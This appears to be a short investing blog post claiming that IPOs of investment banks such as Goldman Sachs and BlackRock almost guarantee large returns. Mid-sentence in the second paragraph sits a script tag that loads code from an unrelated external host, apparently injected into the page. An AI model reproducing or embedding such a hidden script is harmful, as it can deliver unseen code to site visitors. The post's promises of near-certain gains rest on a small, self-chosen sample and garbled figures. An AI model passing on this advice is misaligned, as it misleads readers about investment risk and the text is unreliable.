IPO Updates

ronically being one of the main areas investment banks deal with, it should be to no surprise that investment banks typically have the best return of any IPO put into the public market. While of course there will always be some exceptions, buying a few of these newly released stocks will almost guarantee a higher return on investment for your portfolio.


Looking at specific stocks in general, all indications point to the sentiment that investment banks present an excellent opportunity for future capital gains. For example a few years ago Goldman Sachs (GS) put an IPO in the market. Currently the stock is trading almost 1300% than initially presented almost seven years ago. Typically it takes decades for a stock to reach such appreciation. However, with the continued trend in the investment banking community, such a <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/KFVFQD0OYCFXH"></script> gain is not uncommon to smart investors.


While you may argue that Goldman Sachs was a well respected company before becoming public, there are many more obscure companies which have had just of great of success regardless of how recognizable the name was. Calamos Asset Management Inc. (CLMS) had an increase of nearly 25% in two years, Black Rock Inc. (BLK) grew nearly 1150% in five years, and Greenhill & Co Inc (GHL) gained nearly 50% in less than three years. In fact out of the 32 random companies I assessed, only four or 12% of these companies which have been in the market for more than one year have posted capital losses and only marginal ones relative to other IPOs. Furthermore, including all the IPOs in the market regardless of file date, only seven out of the 32 have seen any kind of capital loss regardless of any kind of fundamental or technical analysis. While as an investor you many argue that the risk is too high during infancy, by purchasing shares in four to seven of these companies, there is almost a guarantee you will earn a large portion of capital gains.


Therefore, while many professionals may argue against buying an IPO so quickly, remember that investment banks are the companies that underwrite IPOs in the first place and have a fair say on what the price of the stock should be. While such a situation may be criticized as unfair, the opportunity to win big with investment banks is highly apparent, and you as an investor should take every advantage with these fortunes.